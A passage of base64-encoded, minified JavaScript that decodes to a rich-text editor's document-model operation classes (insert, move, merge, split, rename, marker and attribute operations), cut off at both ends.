fX1fZXhlY3V0ZSgpe2lmKCFDZyh0aGlzLm9sZFZhbHVlLHRoaXMubmV3VmFsdWUpKXttZyh0aGlzLnJhbmdlLHRoaXMua2V5LHRoaXMubmV3VmFsdWUpfX1zdGF0aWMgZ2V0IGNsYXNzTmFtZSgpe3JldHVybiJBdHRyaWJ1dGVPcGVyYXRpb24ifXN0YXRpYyBmcm9tSlNPTih0LGUpe3JldHVybiBuZXcgQWcoZWYuZnJvbUpTT04odC5yYW5nZSxlKSx0LmtleSx0Lm9sZFZhbHVlLHQubmV3VmFsdWUsdC5iYXNlVmVyc2lvbil9fWNsYXNzIF9nIGV4dGVuZHMgY2d7Y29uc3RydWN0b3IodCxlKXtzdXBlcihudWxsKTt0aGlzLnNvdXJjZVBvc2l0aW9uPXQuY2xvbmUoKTt0aGlzLmhvd01hbnk9ZX1nZXQgdHlwZSgpe3JldHVybiJkZXRhY2gifXRvSlNPTigpe2NvbnN0IHQ9c3VwZXIudG9KU09OKCk7dC5zb3VyY2VQb3NpdGlvbj10aGlzLnNvdXJjZVBvc2l0aW9uLnRvSlNPTigpO3JldHVybiB0fV92YWxpZGF0ZSgpe2lmKHRoaXMuc291cmNlUG9zaXRpb24ucm9vdC5kb2N1bWVudCl7dGhyb3cgbmV3IHNzWyJhIl0oImRldGFjaC1vcGVyYXRpb24tb24tZG9jdW1lbnQtbm9kZSIsdGhpcyl9fV9leGVjdXRlKCl7aGcoZWYuX2NyZWF0ZUZyb21Qb3NpdGlvbkFuZFNoaWZ0KHRoaXMuc291cmNlUG9zaXRpb24sdGhpcy5ob3dNYW55KSl9c3RhdGljIGdldCBjbGFzc05hbWUoKXtyZXR1cm4iRGV0YWNoT3BlcmF0aW9uIn19Y2xhc3MgdmcgZXh0ZW5kcyBjZ3tjb25zdHJ1Y3Rvcih0LGUsbixpKXtzdXBlcihpKTt0aGlzLnNvdXJjZVBvc2l0aW9uPXQuY2xvbmUoKTt0aGlzLnNvdXJjZVBvc2l0aW9uLnN0aWNraW5lc3M9InRvTmV4dCI7dGhpcy5ob3dNYW55PWU7dGhpcy50YXJnZXRQb3NpdGlvbj1uLmNsb25lKCk7dGhpcy50YXJnZXRQb3NpdGlvbi5zdGlja2luZXNzPSJ0b05vbmUifWdldCB0eXBlKCl7aWYodGhpcy50YXJnZXRQb3NpdGlvbi5yb290LnJvb3ROYW1lPT0iJGdyYXZleWFyZCIpe3JldHVybiJyZW1vdmUifWVsc2UgaWYodGhpcy5zb3VyY2VQb3NpdGlvbi5yb290LnJvb3ROYW1lPT0iJGdyYXZleWFyZCIpe3JldHVybiJyZWluc2VydCJ9cmV0dXJuIm1vdmUifWNsb25lKCl7cmV0dXJuIG5ldyB0aGlzLmNvbnN0cnVjdG9yKHRoaXMuc291cmNlUG9zaXRpb24sdGhpcy5ob3dNYW55LHRoaXMudGFyZ2V0UG9zaXRpb24sdGhpcy5iYXNlVmVyc2lvbil9Z2V0TW92ZWRSYW5nZVN0YXJ0KCl7cmV0dXJuIHRoaXMudGFyZ2V0UG9zaXRpb24uX2dldFRyYW5zZm9ybWVkQnlEZWxldGlvbih0aGlzLnNvdXJjZVBvc2l0aW9uLHRoaXMuaG93TWFueSl9Z2V0UmV2ZXJzZWQoKXtjb25zdCB0PXRoaXMuc291cmNlUG9zaXRpb24uX2dldFRyYW5zZm9ybWVkQnlJbnNlcnRpb24odGhpcy50YXJnZXRQb3NpdGlvbix0aGlzLmhvd01hbnkpO3JldHVybiBuZXcgdGhpcy5jb25zdHJ1Y3Rvcih0aGlzLmdldE1vdmVkUmFuZ2VTdGFydCgpLHRoaXMuaG93TWFueSx0LHRoaXMuYmFzZVZlcnNpb24rMSl9X3ZhbGlkYXRlKCl7Y29uc3QgdD10aGlzLnNvdXJjZVBvc2l0aW9uLnBhcmVudDtjb25zdCBlPXRoaXMudGFyZ2V0UG9zaXRpb24ucGFyZW50O2NvbnN0IG49dGhpcy5zb3VyY2VQb3NpdGlvbi5vZmZzZXQ7Y29uc3QgaT10aGlzLnRhcmdldFBvc2l0aW9uLm9mZnNldDtpZihuK3RoaXMuaG93TWFueT50Lm1heE9mZnNldCl7dGhyb3cgbmV3IHNzWyJhIl0oIm1vdmUtb3BlcmF0aW9uLW5vZGVzLWRvLW5vdC1leGlzdCIsdGhpcyl9ZWxzZSBpZih0PT09ZSYmbjxpJiZpPG4rdGhpcy5ob3dNYW55KXt0aHJvdyBuZXcgc3NbImEiXSgibW92ZS1vcGVyYXRpb24tcmFuZ2UtaW50by1pdHNlbGYiLHRoaXMpfWVsc2UgaWYodGhpcy5zb3VyY2VQb3NpdGlvbi5yb290PT10aGlzLnRhcmdldFBvc2l0aW9uLnJvb3Qpe2lmKExzKHRoaXMuc291cmNlUG9zaXRpb24uZ2V0UGFyZW50UGF0aCgpLHRoaXMudGFyZ2V0UG9zaXRpb24uZ2V0UGFyZW50UGF0aCgpKT09InByZWZpeCIpe2NvbnN0IHQ9dGhpcy5zb3VyY2VQb3NpdGlvbi5wYXRoLmxlbmd0aC0xO2lmKHRoaXMudGFyZ2V0UG9zaXRpb24ucGF0aFt0XT49biYmdGhpcy50YXJnZXRQb3NpdGlvbi5wYXRoW3RdPG4rdGhpcy5ob3dNYW55KXt0aHJvdyBuZXcgc3NbImEiXSgibW92ZS1vcGVyYXRpb24tbm9kZS1pbnRvLWl0c2VsZiIsdGhpcyl9fX19X2V4ZWN1dGUoKXtmZyhlZi5fY3JlYXRlRnJvbVBvc2l0aW9uQW5kU2hpZnQodGhpcy5zb3VyY2VQb3NpdGlvbix0aGlzLmhvd01hbnkpLHRoaXMudGFyZ2V0UG9zaXRpb24pfXRvSlNPTigpe2NvbnN0IHQ9c3VwZXIudG9KU09OKCk7dC5zb3VyY2VQb3NpdGlvbj10aGlzLnNvdXJjZVBvc2l0aW9uLnRvSlNPTigpO3QudGFyZ2V0UG9zaXRpb249dGhpcy50YXJnZXRQb3NpdGlvbi50b0pTT04oKTtyZXR1cm4gdH1zdGF0aWMgZ2V0IGNsYXNzTmFtZSgpe3JldHVybiJNb3ZlT3BlcmF0aW9uIn1zdGF0aWMgZnJvbUpTT04odCxlKXtjb25zdCBuPUpoLmZyb21KU09OKHQuc291cmNlUG9zaXRpb24sZSk7Y29uc3QgaT1KaC5mcm9tSlNPTih0LnRhcmdldFBvc2l0aW9uLGUpO3JldHVybiBuZXcgdGhpcyhuLHQuaG93TWFueSxpLHQuYmFzZVZlcnNpb24pfX1jbGFzcyB5ZyBleHRlbmRzIGNne2NvbnN0cnVjdG9yKHQsZSxuKXtzdXBlcihuKTt0aGlzLnBvc2l0aW9uPXQuY2xvbmUoKTt0aGlzLnBvc2l0aW9uLnN0aWNraW5lc3M9InRvTm9uZSI7dGhpcy5ub2Rlcz1uZXcgS2goZ2coZSkpO3RoaXMuc2hvdWxkUmVjZWl2ZUF0dHJpYnV0ZXM9ZmFsc2V9Z2V0IHR5cGUoKXtyZXR1cm4iaW5zZXJ0In1nZXQgaG93TWFueSgpe3JldHVybiB0aGlzLm5vZGVzLm1heE9mZnNldH1jbG9uZSgpe2NvbnN0IHQ9bmV3IEtoKFsuLi50aGlzLm5vZGVzXS5tYXAoKHQ9PnQuX2Nsb25lKHRydWUpKSkpO2NvbnN0IGU9bmV3IHlnKHRoaXMucG9zaXRpb24sdCx0aGlzLmJhc2VWZXJzaW9uKTtlLnNob3VsZFJlY2VpdmVBdHRyaWJ1dGVzPXRoaXMuc2hvdWxkUmVjZWl2ZUF0dHJpYnV0ZXM7cmV0dXJuIGV9Z2V0UmV2ZXJzZWQoKXtjb25zdCB0PXRoaXMucG9zaXRpb24ucm9vdC5kb2N1bWVudC5ncmF2ZXlhcmQ7Y29uc3QgZT1uZXcgSmgodCxbMF0pO3JldHVybiBuZXcgdmcodGhpcy5wb3NpdGlvbix0aGlzLm5vZGVzLm1heE9mZnNldCxlLHRoaXMuYmFzZVZlcnNpb24rMSl9X3ZhbGlkYXRlKCl7Y29uc3QgdD10aGlzLnBvc2l0aW9uLnBhcmVudDtpZighdHx8dC5tYXhPZmZzZXQ8dGhpcy5wb3NpdGlvbi5vZmZzZXQpe3Rocm93IG5ldyBzc1siYSJdKCJpbnNlcnQtb3BlcmF0aW9uLXBvc2l0aW9uLWludmFsaWQiLHRoaXMpfX1fZXhlY3V0ZSgpe2NvbnN0IHQ9dGhpcy5ub2Rlczt0aGlzLm5vZGVzPW5ldyBLaChbLi4udF0ubWFwKCh0PT50Ll9jbG9uZSh0cnVlKSkpKTt1Zyh0aGlzLnBvc2l0aW9uLHQpfXRvSlNPTigpe2NvbnN0IHQ9c3VwZXIudG9KU09OKCk7dC5wb3NpdGlvbj10aGlzLnBvc2l0aW9uLnRvSlNPTigpO3Qubm9kZXM9dGhpcy5ub2Rlcy50b0pTT04oKTtyZXR1cm4gdH1zdGF0aWMgZ2V0IGNsYXNzTmFtZSgpe3JldHVybiJJbnNlcnRPcGVyYXRpb24ifXN0YXRpYyBmcm9tSlNPTih0LGUpe2NvbnN0IG49W107Zm9yKGNvbnN0IGUgb2YgdC5ub2Rlcyl7aWYoZS5uYW1lKXtuLnB1c2gocWguZnJvbUpTT04oZSkpfWVsc2V7bi5wdXNoKEdoLmZyb21KU09OKGUpKX19Y29uc3QgaT1uZXcgeWcoSmguZnJvbUpTT04odC5wb3NpdGlvbixlKSxuLHQuYmFzZVZlcnNpb24pO2kuc2hvdWxkUmVjZWl2ZUF0dHJpYnV0ZXM9dC5zaG91bGRSZWNlaXZlQXR0cmlidXRlcztyZXR1cm4gaX19Y2xhc3MgeGcgZXh0ZW5kcyBjZ3tjb25zdHJ1Y3Rvcih0LGUsbixpLG8scil7c3VwZXIocik7dGhpcy5uYW1lPXQ7dGhpcy5vbGRSYW5nZT1lP2UuY2xvbmUoKTpudWxsO3RoaXMubmV3UmFuZ2U9bj9uLmNsb25lKCk6bnVsbDt0aGlzLmFmZmVjdHNEYXRhPW87dGhpcy5fbWFya2Vycz1pfWdldCB0eXBlKCl7cmV0dXJuIm1hcmtlciJ9Y2xvbmUoKXtyZXR1cm4gbmV3IHhnKHRoaXMubmFtZSx0aGlzLm9sZFJhbmdlLHRoaXMubmV3UmFuZ2UsdGhpcy5fbWFya2Vycyx0aGlzLmFmZmVjdHNEYXRhLHRoaXMuYmFzZVZlcnNpb24pfWdldFJldmVyc2VkKCl7cmV0dXJuIG5ldyB4Zyh0aGlzLm5hbWUsdGhpcy5uZXdSYW5nZSx0aGlzLm9sZFJhbmdlLHRoaXMuX21hcmtlcnMsdGhpcy5hZmZlY3RzRGF0YSx0aGlzLmJhc2VWZXJzaW9uKzEpfV9leGVjdXRlKCl7Y29uc3QgdD10aGlzLm5ld1JhbmdlPyJfc2V0IjoiX3JlbW92ZSI7dGhpcy5fbWFya2Vyc1t0XSh0aGlzLm5hbWUsdGhpcy5uZXdSYW5nZSx0cnVlLHRoaXMuYWZmZWN0c0RhdGEpfXRvSlNPTigpe2NvbnN0IHQ9c3VwZXIudG9KU09OKCk7aWYodGhpcy5vbGRSYW5nZSl7dC5vbGRSYW5nZT10aGlzLm9sZFJhbmdlLnRvSlNPTigpfWlmKHRoaXMubmV3UmFuZ2Upe3QubmV3UmFuZ2U9dGhpcy5uZXdSYW5nZS50b0pTT04oKX1kZWxldGUgdC5fbWFya2VycztyZXR1cm4gdH1zdGF0aWMgZ2V0IGNsYXNzTmFtZSgpe3JldHVybiJNYXJrZXJPcGVyYXRpb24ifXN0YXRpYyBmcm9tSlNPTih0LGUpe3JldHVybiBuZXcgeGcodC5uYW1lLHQub2xkUmFuZ2U/ZWYuZnJvbUpTT04odC5vbGRSYW5nZSxlKTpudWxsLHQubmV3UmFuZ2U/ZWYuZnJvbUpTT04odC5uZXdSYW5nZSxlKTpudWxsLGUubW9kZWwubWFya2Vycyx0LmFmZmVjdHNEYXRhLHQuYmFzZVZlcnNpb24pfX1jbGFzcyBEZyBleHRlbmRzIGNne2NvbnN0cnVjdG9yKHQsZSxuLGkpe3N1cGVyKGkpO3RoaXMucG9zaXRpb249dDt0aGlzLnBvc2l0aW9uLnN0aWNraW5lc3M9InRvTmV4dCI7dGhpcy5vbGROYW1lPWU7dGhpcy5uZXdOYW1lPW59Z2V0IHR5cGUoKXtyZXR1cm4icmVuYW1lIn1jbG9uZSgpe3JldHVybiBuZXcgRGcodGhpcy5wb3NpdGlvbi5jbG9uZSgpLHRoaXMub2xkTmFtZSx0aGlzLm5ld05hbWUsdGhpcy5iYXNlVmVyc2lvbil9Z2V0UmV2ZXJzZWQoKXtyZXR1cm4gbmV3IERnKHRoaXMucG9zaXRpb24uY2xvbmUoKSx0aGlzLm5ld05hbWUsdGhpcy5vbGROYW1lLHRoaXMuYmFzZVZlcnNpb24rMSl9X3ZhbGlkYXRlKCl7Y29uc3QgdD10aGlzLnBvc2l0aW9uLm5vZGVBZnRlcjtpZighKHQgaW5zdGFuY2VvZiBxaCkpe3Rocm93IG5ldyBzc1siYSJdKCJyZW5hbWUtb3BlcmF0aW9uLXdyb25nLXBvc2l0aW9uIix0aGlzKX1lbHNlIGlmKHQubmFtZSE9PXRoaXMub2xkTmFtZSl7dGhyb3cgbmV3IHNzWyJhIl0oInJlbmFtZS1vcGVyYXRpb24td3JvbmctbmFtZSIsdGhpcyl9fV9leGVjdXRlKCl7Y29uc3QgdD10aGlzLnBvc2l0aW9uLm5vZGVBZnRlcjt0Lm5hbWU9dGhpcy5uZXdOYW1lfXRvSlNPTigpe2NvbnN0IHQ9c3VwZXIudG9KU09OKCk7dC5wb3NpdGlvbj10aGlzLnBvc2l0aW9uLnRvSlNPTigpO3JldHVybiB0fXN0YXRpYyBnZXQgY2xhc3NOYW1lKCl7cmV0dXJuIlJlbmFtZU9wZXJhdGlvbiJ9c3RhdGljIGZyb21KU09OKHQsZSl7cmV0dXJuIG5ldyBEZyhKaC5mcm9tSlNPTih0LnBvc2l0aW9uLGUpLHQub2xkTmFtZSx0Lm5ld05hbWUsdC5iYXNlVmVyc2lvbil9fWNsYXNzIEVnIGV4dGVuZHMgY2d7Y29uc3RydWN0b3IodCxlLG4saSxvKXtzdXBlcihvKTt0aGlzLnJvb3Q9dDt0aGlzLmtleT1lO3RoaXMub2xkVmFsdWU9bjt0aGlzLm5ld1ZhbHVlPWl9Z2V0IHR5cGUoKXtpZih0aGlzLm9sZFZhbHVlPT09bnVsbCl7cmV0dXJuImFkZFJvb3RBdHRyaWJ1dGUifWVsc2UgaWYodGhpcy5uZXdWYWx1ZT09PW51bGwpe3JldHVybiJyZW1vdmVSb290QXR0cmlidXRlIn1lbHNle3JldHVybiJjaGFuZ2VSb290QXR0cmlidXRlIn19Y2xvbmUoKXtyZXR1cm4gbmV3IEVnKHRoaXMucm9vdCx0aGlzLmtleSx0aGlzLm9sZFZhbHVlLHRoaXMubmV3VmFsdWUsdGhpcy5iYXNlVmVyc2lvbil9Z2V0UmV2ZXJzZWQoKXtyZXR1cm4gbmV3IEVnKHRoaXMucm9vdCx0aGlzLmtleSx0aGlzLm5ld1ZhbHVlLHRoaXMub2xkVmFsdWUsdGhpcy5iYXNlVmVyc2lvbisxKX1fdmFsaWRhdGUoKXtpZih0aGlzLnJvb3QhPXRoaXMucm9vdC5yb290fHx0aGlzLnJvb3QuaXMoImRvY3VtZW50RnJhZ21lbnQiKSl7dGhyb3cgbmV3IHNzWyJhIl0oInJvb3RhdHRyaWJ1dGUtb3BlcmF0aW9uLW5vdC1hLXJvb3QiLHRoaXMse3Jvb3Q6dGhpcy5yb290LGtleTp0aGlzLmtleX0pfWlmKHRoaXMub2xkVmFsdWUhPT1udWxsJiZ0aGlzLnJvb3QuZ2V0QXR0cmlidXRlKHRoaXMua2V5KSE9PXRoaXMub2xkVmFsdWUpe3Rocm93IG5ldyBzc1siYSJdKCJyb290YXR0cmlidXRlLW9wZXJhdGlvbi13cm9uZy1vbGQtdmFsdWUiLHRoaXMse3Jvb3Q6dGhpcy5yb290LGtleTp0aGlzLmtleX0pfWlmKHRoaXMub2xkVmFsdWU9PT1udWxsJiZ0aGlzLm5ld1ZhbHVlIT09bnVsbCYmdGhpcy5yb290Lmhhc0F0dHJpYnV0ZSh0aGlzLmtleSkpe3Rocm93IG5ldyBzc1siYSJdKCJyb290YXR0cmlidXRlLW9wZXJhdGlvbi1hdHRyaWJ1dGUtZXhpc3RzIix0aGlzLHtyb290OnRoaXMucm9vdCxrZXk6dGhpcy5rZXl9KX19X2V4ZWN1dGUoKXtpZih0aGlzLm5ld1ZhbHVlIT09bnVsbCl7dGhpcy5yb290Ll9zZXRBdHRyaWJ1dGUodGhpcy5rZXksdGhpcy5uZXdWYWx1ZSl9ZWxzZXt0aGlzLnJvb3QuX3JlbW92ZUF0dHJpYnV0ZSh0aGlzLmtleSl9fXRvSlNPTigpe2NvbnN0IHQ9c3VwZXIudG9KU09OKCk7dC5yb290PXRoaXMucm9vdC50b0pTT04oKTtyZXR1cm4gdH1zdGF0aWMgZ2V0IGNsYXNzTmFtZSgpe3JldHVybiJSb290QXR0cmlidXRlT3BlcmF0aW9uIn1zdGF0aWMgZnJvbUpTT04odCxlKXtpZighZS5nZXRSb290KHQucm9vdCkpe3Rocm93IG5ldyBzc1siYSJdKCJyb290YXR0cmlidXRlLW9wZXJhdGlvbi1mcm9tanNvbi1uby1yb290Iix0aGlzLHtyb290TmFtZTp0LnJvb3R9KX1yZXR1cm4gbmV3IEVnKGUuZ2V0Um9vdCh0LnJvb3QpLHQua2V5LHQub2xkVmFsdWUsdC5uZXdWYWx1ZSx0LmJhc2VWZXJzaW9uKX19Y2xhc3MgTWcgZXh0ZW5kcyBjZ3tjb25zdHJ1Y3Rvcih0LGUsbixpLG8pe3N1cGVyKG8pO3RoaXMuc291cmNlUG9zaXRpb249dC5jbG9uZSgpO3RoaXMuc291cmNlUG9zaXRpb24uc3RpY2tpbmVzcz0idG9QcmV2aW91cyI7dGhpcy5ob3dNYW55PWU7dGhpcy50YXJnZXRQb3NpdGlvbj1uLmNsb25lKCk7dGhpcy50YXJnZXRQb3NpdGlvbi5zdGlja2luZXNzPSJ0b05leHQiO3RoaXMuZ3JhdmV5YXJkUG9zaXRpb249aS5jbG9uZSgpfWdldCB0eXBlKCl7cmV0dXJuIm1lcmdlIn1nZXQgZGVsZXRpb25Qb3NpdGlvbigpe3JldHVybiBuZXcgSmgodGhpcy5zb3VyY2VQb3NpdGlvbi5yb290LHRoaXMuc291cmNlUG9zaXRpb24ucGF0aC5zbGljZSgwLC0xKSl9Z2V0IG1vdmVkUmFuZ2UoKXtjb25zdCB0PXRoaXMuc291cmNlUG9zaXRpb24uZ2V0U2hpZnRlZEJ5KE51bWJlci5QT1NJVElWRV9JTkZJTklUWSk7cmV0dXJuIG5ldyBlZih0aGlzLnNvdXJjZVBvc2l0aW9uLHQpfWNsb25lKCl7cmV0dXJuIG5ldyB0aGlzLmNvbnN0cnVjdG9yKHRoaXMuc291cmNlUG9zaXRpb24sdGhpcy5ob3dNYW55LHRoaXMudGFyZ2V0UG9zaXRpb24sdGhpcy5ncmF2ZXlhcmRQb3NpdGlvbix0aGlzLmJhc2VWZXJzaW9uKX1nZXRSZXZlcnNlZCgpe2NvbnN0IHQ9dGhpcy50YXJnZXRQb3NpdGlvbi5fZ2V0VHJhbnNmb3JtZWRCeU1lcmdlT3BlcmF0aW9uKHRoaXMpO2NvbnN0IGU9dGhpcy5zb3VyY2VQb3NpdGlvbi5wYXRoLnNsaWNlKDAsLTEpO2NvbnN0IG49bmV3IEpoKHRoaXMuc291cmNlUG9zaXRpb24ucm9vdCxlKS5fZ2V0VHJhbnNmb3JtZWRCeU1lcmdlT3BlcmF0aW9uKHRoaXMpO2NvbnN0IGk9bmV3IFNnKHQsdGhpcy5ob3dNYW55LHRoaXMuZ3JhdmV5YXJkUG9zaXRpb24sdGhpcy5iYXNlVmVyc2lvbisxKTtpLmluc2VydGlvblBvc2l0aW9uPW47cmV0dXJuIGl9X3ZhbGlkYXRlKCl7Y29uc3QgdD10aGlzLnNvdXJjZVBvc2l0aW9uLnBhcmVudDtjb25zdCBlPXRoaXMudGFyZ2V0UG9zaXRpb24ucGFyZW50O2lmKCF0LnBhcmVudCl7dGhyb3cgbmV3IHNzWyJhIl0oIm1lcmdlLW9wZXJhdGlvbi1zb3VyY2UtcG9zaXRpb24taW52YWxpZCIsdGhpcyl9ZWxzZSBpZighZS5wYXJlbnQpe3Rocm93IG5ldyBzc1siYSJdKCJtZXJnZS1vcGVyYXRpb24tdGFyZ2V0LXBvc2l0aW9uLWludmFsaWQiLHRoaXMpfWVsc2UgaWYodGhpcy5ob3dNYW55IT10Lm1heE9mZnNldCl7dGhyb3cgbmV3IHNzWyJhIl0oIm1lcmdlLW9wZXJhdGlvbi1ob3ctbWFueS1pbnZhbGlkIix0aGlzKX19X2V4ZWN1dGUoKXtjb25zdCB0PXRoaXMuc291cmNlUG9zaXRpb24ucGFyZW50O2NvbnN0IGU9ZWYuX2NyZWF0ZUluKHQpO2ZnKGUsdGhpcy50YXJnZXRQb3NpdGlvbik7ZmcoZWYuX2NyZWF0ZU9uKHQpLHRoaXMuZ3JhdmV5YXJkUG9zaXRpb24pfXRvSlNPTigpe2NvbnN0IHQ9c3VwZXIudG9KU09OKCk7dC5zb3VyY2VQb3NpdGlvbj10LnNvdXJjZVBvc2l0aW9uLnRvSlNPTigpO3QudGFyZ2V0UG9zaXRpb249dC50YXJnZXRQb3NpdGlvbi50b0pTT04oKTt0LmdyYXZleWFyZFBvc2l0aW9uPXQuZ3JhdmV5YXJkUG9zaXRpb24udG9KU09OKCk7cmV0dXJuIHR9c3RhdGljIGdldCBjbGFzc05hbWUoKXtyZXR1cm4iTWVyZ2VPcGVyYXRpb24ifXN0YXRpYyBmcm9tSlNPTih0LGUpe2NvbnN0IG49SmguZnJvbUpTT04odC5zb3VyY2VQb3NpdGlvbixlKTtjb25zdCBpPUpoLmZyb21KU09OKHQudGFyZ2V0UG9zaXRpb24sZSk7Y29uc3Qgbz1KaC5mcm9tSlNPTih0LmdyYXZleWFyZFBvc2l0aW9uLGUpO3JldHVybiBuZXcgdGhpcyhuLHQuaG93TWFueSxpLG8sdC5iYXNlVmVyc2lvbil9fWNsYXNzIFNnIGV4dGVuZHMgY2d7Y29uc3RydWN0b3IodCxlLG4saSl7c3VwZXIoaSk7dGhpcy5zcGxpdFBvc2l0aW9uPXQuY2xvbmUoKTt0aGlzLnNwbGl0UG9zaXRpb24uc3RpY2tpbmVzcz0idG9OZXh0Ijt0aGlzLmhvd01hbnk9ZTt0aGlzLmluc2VydGlvblBvc2l0aW9uPVNnLmdldEluc2VydGlvblBvc2l0aW9uKHQpO3RoaXMuaW5zZXJ0aW9uUG9zaXRpb24uc3RpY2tpbmVzcz0idG9Ob25lIjt0aGlzLmdyYXZleWFyZFBvc2l0aW9uPW4/bi5jbG9uZSgpOm51bGw7aWYodGhpcy5ncmF2ZXlhcmRQb3NpdGlvbil7dGhpcy5ncmF2ZXlhcmRQb3NpdGlvbi5zdGlja2luZXNzPSJ0b05leHQifX1nZXQgdHlwZSgpe3JldHVybiJzcGxpdCJ9Z2V0IG1vdmVUYXJnZXRQb3NpdGlvbigpe2NvbnN0IHQ9dGhpcy5pbnNlcnRpb25Qb3NpdGlvbi5wYXRoLnNsaWNlKCk7dC5wdXNoKDApO3JldHVybiBuZXcgSmgodGhpcy5pbnNlcnRpb25Qb3NpdGlvbi5yb290LHQpfWdldCBtb3ZlZFJhbmdlKCl7Y29uc3QgdD10aGlzLnNwbGl0UG9zaXRpb24uZ2V0U2hpZnRlZEJ5KE51bWJlci5QT1NJVElWRV9JTkZJTklUWSk7cmV0dXJuIG5ldyBlZih0aGlzLnNwbGl0UG9zaXRpb24sdCl9Y2xvbmUoKXtjb25zdCB0PW5ldyB0aGlzLmNvbnN0cnVjdG9yKHRoaXMuc3BsaXRQb3NpdGlvbix0aGlzLmhvd01hbnksdGhpcy5ncmF2ZXlhcmRQb3NpdGlvbix0aGlzLmJhc2VWZXJzaW9uKTt0Lmluc2VydGlvblBvc2l0aW9uPXRoaXMuaW5zZXJ0aW9uUG9zaXRpb247cmV0dXJuIHR9Z2V0UmV2ZXJzZWQoKXtjb25zdCB0PXRoaXMuc3BsaXRQb3NpdGlvbi5yb290LmRvY3VtZW50LmdyYXZleWFyZDtjb25zdCBlPW5ldyBKaCh0LFswXSk7cmV0dXJuIG5ldyBNZyh0aGlzLm1vdmVUYXJnZXRQb3NpdGlvbix0aGlzLmhvd01hbnksdGhpcy5zcGxpdFBvc2l0aW9uLGUsdGhpcy5iYXNlVmVyc2lvbisxKX1fdmFsaWRhdGUoKXtjb25zdCB0PXRoaXMuc3BsaXRQb3NpdGlvbi5wYXJlbnQ7Y29uc3QgZT10aGlzLnNwbGl0UG9zaXRpb24ub2Zmc2V0O2lmKCF0fHx0Lm1heE9mZnNldDxlKXt0aHJvdyBuZXcgc3NbImEiXSgic3BsaXQtb3BlcmF0aW9uLXBvc2l0aW9uLWludmFsaWQiLHRoaXMpfWVsc2UgaWYoIXQucGFyZW50KXt0aHJvdyBuZXcgc3NbImEiXSgic3BsaXQtb3BlcmF0aW9uLXNwbGl0LWluLXJvb3QiLHRoaXMpfWVsc2UgaWYodGhpcy5ob3dNYW55IT10Lm1heE9mZnNldC10aGlzLnNwbGl0UG9zaXRpb24ub2Zmc2V0KXt0aHJvdyBuZXcgc3NbImEiXSgic3BsaXQtb3BlcmF0aW9uLWhvdy1tYW55LWludmFsaWQiLHRoaXMpfWVsc2UgaWYodGhpcy5ncmF2ZXlhcmRQb3NpdGlvbiYmIXRoaXMuZ3JhdmV5YXJkUG9zaXRpb24ubm9kZUFmdGVyKXt0aHJvdyBuZXcgc3NbImEiXSgic3BsaXQtb3BlcmF0aW9uLWdyYXZleWFyZC1wb3NpdGlvbi1pbnZhbGlkIix0aGlzKX19X2V4ZWN1dGUoKXtjb25zdCB0PXRoaXMuc3BsaXRQb3NpdGlvbi5wYXJlbnQ7aWYodGhpcy5ncmF2ZXlhcmRQb3NpdGlvbil7ZmcoZWYuX2NyZWF0ZUZyb21Qb3NpdGlvbkFuZFNoaWZ0KHRoaXMuZ3JhdmV5YXJkUG9zaXRpb24sMSksdGhpcy5pbnNlcnRpb25Qb3NpdGlvbil9ZWxzZXtjb25zdCBlPXQuX2Nsb25lKCk7dWcodGhpcy5pbnNlcnRpb25Qb3NpdGlvbixlKX1jb25zdCBlPW5ldyBlZihKaC5fY3JlYXRlQXQodCx0aGlzLnNwbGl0UG9zaXRpb24ub2Zmc2V0KSxKaC5fY3JlYXRlQXQodCx0Lm1heE9mZnNldCkpO2ZnKGUsdGhpcy5tb3ZlVGFyZ2V0UG9zaXRpb24pfXRvSlNPTigpe2NvbnN0IHQ9c3VwZXIudG9KU09OKCk7dC5zcGxpdFBvc2l0aW9uPXRoaXMuc3BsaXRQb3NpdGlvbi50b0pTT04oKTt0Lmluc2VydGlvblBvc2l0aW9uPXRoaXMuaW5zZXJ0aW9uUG9zaXRpb24udG9KU09OKCk7aWYodGhpcy5ncmF2ZXlhcmRQb3NpdGlvbil7dC5ncmF2ZXlhcmRQb3NpdGlvbj10aGlzLmdyYXZleWFyZFBvc2l0aW9uLnRvSlNPTigpfXJldHVybiB0fXN0YXRpYyBnZXQgY2xhc3NOYW1lKCl7cmV0dXJuIlNwbGl0T3BlcmF0aW9uIn1zdGF0aWMgZ2V0SW5zZXJ0aW9uUG9zaXRpb24odCl7Y29uc3QgZT10LnBhdGguc2xpY2UoMCwtMSk7ZVtlLmxlbmd0aC0xXSsrO3JldHVybiBuZXcgSmgodC5yb290LGUpfXN0YXRpYyBmcm9tSlNPTih0LGUpe2NvbnN0IG49SmguZnJvbUpTT04odC5zcGxpdFBvc2l0aW9uLGUpO2NvbnN0IGk9SmguZnJvbUpTT04odC5pbnNlcnRpb25Qb3NpdGlvbixlKTtjb25zdCBvPXQuZ3JhdmV5YXJkUG9zaXRpb24/SmguZnJvbUpTT04odC5ncmF2ZXlhcmRQb3NpdGlvbixlKTpudWxsO2NvbnN0IHI9bmV3IHRoaXMobix0Lmhvd01hbnksbyx0LmJhc2VWZXJzaW9uKTtyLmluc2VydGlvblBvc2l0aW9uPWk7cmV0dXJuIHJ9fWNsYXNzIFRnIGV4dGVuZHMgcWh7Y29uc3RydWN0b3IodCxlLG49Im1haW4iKXtzdXBlcihlKTt0aGlzLl9kb2N1bWVudD10O3RoaXMucm9vdE5hbWU9bn1nZXQgZG9jdW1lbnQoKXtyZXR1cm4gdGhpcy5fZG9jdW1lbnR9aXModCxlKXtpZighZSl7cmV0dXJuIHQ9PT0icm9vdEVsZW1lbnQifHx0PT09Im1vZGVsOnJvb3RFbGVtZW50Inx8dD09PSJlbGVtZW50Inx8dD09PSJtb2RlbDplbGVtZW50Inx8dD09PSJub2RlInx8dD09PSJtb2RlbDpub2RlIn1yZXR1cm4gZT09PXRoaXMubmFtZSYmKHQ9PT0icm9vdEVsZW1lbnQifHx0PT09Im1vZGVsOnJvb3RFbGVtZW50Inx8dD09PSJlbGVtZW50Inx8dD09PSJtb2RlbDplbGVtZW50Iil9dG9KU09OKCl7cmV0dXJuIHRoaXMucm9vdE5hbWV9fWNsYXNzIElne2NvbnN0cnVjdG9yKHQsZSl7dGhpcy5tb2RlbD10O3RoaXMuYmF0Y2g9ZX1jcmVhdGVUZXh0KHQsZSl7cmV0dXJuIG5ldyBHaCh0LGUpfWNyZWF0ZUVsZW1lbnQodCxlKXtyZXR1cm4gbmV3IHFoKHQsZSl9Y3JlYXRlRG9jdW1lbnRGcmFnbWVudCgpe3JldHVybiBuZXcgbGd9Y2xvbmVFbGVtZW50KHQsZT10cnVlKXtyZXR1cm4gdC5fY2xvbmUo